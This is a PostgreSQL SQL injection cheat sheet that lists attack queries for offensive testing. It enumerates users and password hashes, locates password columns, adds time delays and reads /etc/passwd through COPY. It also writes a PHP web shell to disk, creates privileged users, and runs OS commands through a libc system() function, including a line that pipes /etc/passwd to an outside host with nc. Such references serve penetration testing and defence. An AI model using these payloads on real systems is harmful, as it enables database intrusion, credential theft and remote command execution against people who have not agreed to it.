| Version | SELECT version() |
| Comments | SELECT 1; --comment
SELECT /*comment*/1;
|
| Current User | SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
|
| List Users | SELECT usename FROM pg_user |
| List Password Hashes | SELECT usename, passwd FROM pg_shadow – priv |
| Password Cracker | MDCrack can crack PostgreSQL's MD5-based passwords. |
| List Privileges | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
| List DBA Accounts | SELECT usename FROM pg_user WHERE usesuper IS TRUE |
| Current Database | SELECT current_database() |
| List Databases | SELECT datname FROM pg_database |
| List Columns | SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') |
| List Tables | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid) |
| Find Tables From Column Name | If you want to list all the table names that contain a column LIKE '%password%':
SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';
|
| Select Nth Row | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
|
| Select Nth Char | SELECT substr('abcd', 3, 1); – returns c |
| Bitwise AND | SELECT 6 & 2; -- returns 2
SELECT 6 & 1; --returns 0
|
| ASCII Value → Char | SELECT chr(65); |
| Char → ASCII Value | SELECT ascii('A'); |
| Casting | SELECT CAST(1 as varchar);
SELECT CAST('1' as int);
|
| String Concatenation | SELECT 'A' || 'B'; -- returns AB |
| If Statement | IF statements only seem valid inside functions, so aren't much use for SQL injection. See CASE statement instead. |
| Case Statement | SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; – returns A |
| Avoiding Quotes | SELECT CHR(65)||CHR(66); -- returns AB |
| Time Delay | SELECT pg_sleep(10); -- postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10); --priv, create your own sleep function. Taken from [[http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf|here]].
|
| Make DNS Requests | Generally not possible in postgres. However if [[http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.html|contrib/dblink]] is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights):
SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb',
'SELECT version()') RETURNS (result TEXT);
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net".
|
| Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv
SELECT system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as postgres/pgsql OS-level user
|
| Local File Access | CREATE TABLE mydata(t text);
COPY mydata FROM '/etc/passwd'; -- priv, can read files which are readable by postgres OS-level user
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time ...
DROP TABLE mytest mytest;
Write to a file:
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');
COPY mytable (mycol) TO '/tmp/test.php'; --priv, write files as postgres OS-level user. Generally you won't be able to write to the web root, but it's always work a try.
-- priv user can also read/write files by [[http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf|mapping libc functions]].
|
| Hostname, IP Address | SELECT inet_server_addr(); -- returns db server IP address (or null if using local connection)
SELECT inet_server_port(); -- returns db server IP address (or null if using local connection)
|
| Create Users | CREATE USER test1 PASSWORD 'pass1'; -- priv
CREATE USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at the same time
|
| Drop Users | DROP USER test1; – priv |
| Make User DBA | ALTER USER test1 CREATEUSER CREATEDB; – priv |
| Location of DB files | SELECT current_setting('data_directory'); -- priv
SELECT current_setting('hba_file'); -- priv
|
| Default/System Databases | template0
template1
|